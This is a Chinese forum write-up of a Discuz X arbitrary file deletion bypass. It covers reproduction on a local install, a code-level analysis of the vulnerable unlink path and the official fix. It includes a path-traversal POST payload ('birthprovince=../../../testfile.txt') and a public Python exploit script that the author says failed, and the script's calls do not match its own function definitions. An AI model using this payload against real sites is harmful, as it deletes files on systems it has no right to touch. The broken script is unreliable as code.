马上注册,免费下载更多dz插件网资源。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
1、简述漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。 漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复 2、复现环境因为官方提供的下载是最新的源码,漏洞修复时间是17年9月29日,通过git找一个修复前的版本签出就可。 - git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be
复制代码
通过安装向导安装完后注册一个测试用户,同时在网站对应目录下创建用于删除的测试文件。 3、漏洞复现登录账户。 访问该网页: http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
发送POST请求: - http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
- POST
- birthprovince=../../../testfile.txt&profilesubmit=1&formhash=e9d84225
- formhash值为用户hash,可在源码中搜索formhash找到。
复制代码
请求后表单中的出生地内容变为../../../testfile.txt
然后构造请求向home.php?mod=spacecp&ac=profile&op=base上传文件,可以修改表单提交达到目的。
提交后文件被删除。 4、漏洞分析分析一下对该页面请求时的流程。 在home.php的41行有一次对其他文件的请求: - require_once libfile('home/'.$mod, 'module');
复制代码
因为GET参数不满足上面代码的条件所以进入这部分。 查看libfile函数的定义: - function libfile($libname, $folder = '') {
- $libpath = '/source/'.$folder;
- if(strstr($libname, '/')) {
- list($pre, $name) = explode('/', $libname);
- $path = "{$libpath}/{$pre}/{$pre}_{$name}";
- } else {
- $path = "{$libpath}/{$libname}";
- }
- return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
- }
复制代码
可以看出该函数的功能就是构造文件路径。 对于复现漏洞时请求页面的GET请求参数:mod=spacecp&ac=profile&op=base 在如上参数的请求时,经过libfile函数处理过后返回的路径为:/source/module/home/home_spacecp.php 跟进到/source/module/home/home_spacecp.php文件,在最后一行也引入了其他的文件,处理方式同上 - require_once libfile('spacecp/'.$ac, 'include');
复制代码所以这里引入的文件为:/source/include/spacecp/spacecp_profile.php,转到该文件看看。 在第70行,存在如下条件判断,这里也就是页面上的保存按钮点击后触发的相关处理代码: - if(submitcheck('profilesubmit')) {
- ......
复制代码
submitcheck函数是对profilesubmit的安全检查 - function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
- if(!getgpc($var)) {
- return FALSE;
- } else {
- return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck);
- }
- }
复制代码第187行开始是对文件上传的处理函数: - if($_FILES) {
- $upload = new discuz_upload();
- foreach($_FILES as $key => $file) {
- ......
复制代码第207行开始: - if(!$upload->error()) {
- $upload->save();
- if(!$upload->get_image_info($attach['target'])) {
- @unlink($attach['target']);
- continue;
- }
- $setarr[$key] = '';
- $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
- if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
- if(isset($verifyinfo['field'][$key])) {
- @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
- $verifyarr[$key] = $attach['attachment'];
- }
- continue;
- }
- if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
- @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
- $verifyarr[$key] = $attach['attachment'];
- continue;
- }
- @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
- $setarr[$key] = $attach['attachment'];
- }
复制代码文件上传成功,满足!$upload->error(),会执行到unlink语句: - @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
复制代码这里的$key,在前面foreach($_FILES as $key => $file)中定义(189行)。$space在第23行定义,为用户个人资料。 - $space = getuserbyuid($_G['uid']);
- space_merge($space, 'field_home');
- space_merge($space, 'profile');
复制代码会从数据库查询用户相关的信息保存到变量$space中。birthprovince就是其中之一。 所以此时$space[key] = $space[birthprovince] = '../../../testfile.txt' 也就解释了复现时修改出生日期为目的文件路径的操作。 这样的话在这里就完成了文件删除的操作。 PS:更改用户信息时通过提交表单事时抓包可以看到各参数名称,可以进行修改。 5、Expexp改了半天也没有攻击成功,找了公开的exp也不成功,不知道是exp问题还是环境问题。 - import requests
- import re
- import os
- def check_url(target_url):
- parameter = target_url.split('/')
- if parameter[-1] != "home.php":
- print("[*] Please make sure the url end with 'home.php'")
- exit()
- def get_cookie(target_url):
- cookie = input("[*] Please paste the cookie:").split(';')
- cookies = {}
- for i in range(0,len(cookie)):
- name,value=cookie[i].strip().split('=',1)
- cookies[name] = value
- loginurl = target_url + '?mod=spacecp'
- text = requests.get(target_url,cookies=cookies).text
- if '您需要先登录才能继续本操作' in text:
- print("[*] Login error,please check cookies!")
- else:
- return cookies
- def del_file(target_url,target_file,cookies):
- loginurl = target_url + '?mod=spacecp'
- text = requests.get(target_url,cookies=cookies).text
- reformhash = 'formhash=.*?&'
- patternformhash = re.compile(reformhash)
- formhash = patternformhash.search(text).group()[9:17]
- print(formhash)
- # set birthprovince
- birthprovinceurl = target_url + '?mod=spacecp&ac=profile'
- birthprovincedata ={
- "birthprovince":target_file,
- "profilesubmit":"1",
- "formhash":formhash
- }
- requests.post(birthprovinceurl,cookies=cookies,data=birthprovincedata)
- # upload a picture and delete the target file
- basepath = os.path.abspath(os.path.dirname(__file__))
- uploadurl = target_url + '?mod=spacecp&ac=profile&op=base'
- files = {'birthprovince': ("pic.png",open(basepath+'/1.png', 'rb'))}
- data = {
- 'formhash':formhash,
- 'profilesubmit':'1'
- }
- s=requests.post(uploadurl,cookies=cookies,data=data,files=files)
- print(s.text)
- print("[*] Deleting the file.")
- def exp():
- try:
- target_url = input("[*] please input the target url(eg:http://xxxxx/home.php):")
- check_url(target_url)
- cookies,formhash = get_cookie(target_url)
- target_file = input("[*] Please input the target file:")
- del_file(target_url,target_file,cookies,formhash)
- except KeyError as e:
- print("This poc doesn't seem to work.")
- if __name__ == "__main__":
- exp()
复制代码 5、修复方法对比官方的代码变动,直接删除了几条unlink语句,简单暴力..
©DZ插件网所发布的一切资源仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。 网站部分内容来源于网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,得到更好的正版服务。 您在本站任何的赞助购买、下载、查阅、回复等行为等均表示接受并同意签订《DZ插件网免责声明协议》。 如有侵权请邮件与我们联系处理: discuzaddons@vip.qq.com 并出示相关证明以便删除。敬请谅解!
|